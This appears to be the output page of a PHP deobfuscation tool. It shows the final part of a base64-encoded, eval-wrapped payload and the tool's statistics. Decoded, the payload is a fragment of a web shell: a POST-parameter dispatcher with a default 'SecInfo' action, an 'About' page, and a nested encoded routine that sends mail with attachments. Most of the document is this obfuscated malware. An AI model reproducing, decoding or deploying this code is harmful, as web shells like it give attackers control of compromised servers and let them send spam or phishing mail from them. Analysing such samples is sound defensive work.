lBdVBTQWlKRzFsYzNOaFoyVmNjbHh1SWpzS0lDQWdJQ0FnU1dZZ0tDUm1hV3hsWDI1aGJXVXBJQ1JvWldGa1pYSWdMajBnSWkwdEpIVnBaRnh5WEc0aU93b2dJQ0FnSUNCSlppQW9KR1pwYkdWZmJtRnRaU2tnSkdobFlXUmxjaUF1UFNBaVEyOXVkR1Z1ZEMxVWVYQmxPaUFrWm1sc1pWOTBlWEJsT3lCdVlXMWxQVndpSkdacGJHVmZibUZ0WlZ3aVhISmNiaUk3Q2lBZ0lDQWdJRWxtSUNna1ptbHNaVjl1WVcxbEtTQWthR1ZoWkdWeUlDNDlJQ0pEYjI1MFpXNTBMVlJ5WVc1elptVnlMVVZ1WTI5a2FXNW5PaUJpWVhObE5qUmNjbHh1SWpzS0lDQWdJQ0FnU1dZZ0tDUm1hV3hsWDI1aGJXVXBJQ1JvWldGa1pYSWdMajBnSWtOdmJuUmxiblF0UkdsemNHOXphWFJwYjI0NklHRjBkR0ZqYUcxbGJuUTdJR1pwYkdWdVlXMWxQVndpSkdacGJHVmZibUZ0WlZ3aVhISmNibHh5WEc0aU93b2dJQ0FnSUNCSlppQW9KR1pwYkdWZmJtRnRaU2tnSkdobFlXUmxjaUF1UFNBaUpHTnZiblJsYm5SY2NseHVJanNLSUNBZ0lDQWdTV1lnS0NSbWFXeGxYMjVoYldVcElDUm9aV0ZrWlhJZ0xqMGdJaTB0SkhWcFpDMHRJanNLSUNBZ0lDQWdiV0ZwYkNna2RHOHNJQ1J6ZFdKcVpXTjBMQ0FpSWl3Z0pHaGxZV1JsY2lrN0NpQWdJQ0FnSUhCeWFXNTBJQ0p2YXp4aWNqNGlPd29nSUNBZ0lDQm1iSFZ6YUNncE93b2dJQ0FnZlFvZ0lIMEtJSDBLQ24wSycpKTsKICAgIHByaW50Rm9vdGVyKCk7ICAgIAp9CgpmdW5jdGlvbiBhY3Rpb25hYm91dCgpewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5BYm91dDwvaDE+JzsKICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPic7CiAgICBlY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxoMz48c3Bhbj48L3NwYW4+PC9oMz5UaGFua3MgVG8gOiBZb3VUdWJlIDpwIDxicj48YnIgLz4iOwogICAgZWNobyAiPGJyPjxiciAvPjxiciAvPjwvZGl2PiI7CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKaWYoIGVtcHR5KCRfUE9TVFsnYSddKSApCiAgICBpZihpc3NldCgkZGVmYXVsdF9hY3Rpb24pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRkZWZhdWx0X2FjdGlvbikpCiAgICAgICAgJF9QT1NUWydhJ10gPSAkZGVmYXVsdF9hY3Rpb247CiAgICBlbHNlCiAgICAgICAgJF9QT1NUWydhJ10gPSAnU2VjSW5mbyc7CmlmKCAhZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRfUE9TVFsnYSddKSApCiAgICBjYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnYSddKTsKCQoJPz4KCQoJCg==")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 39a172f1e5e20f0951d09c93493151cf
Eval Count 1
Decode Time 296 ms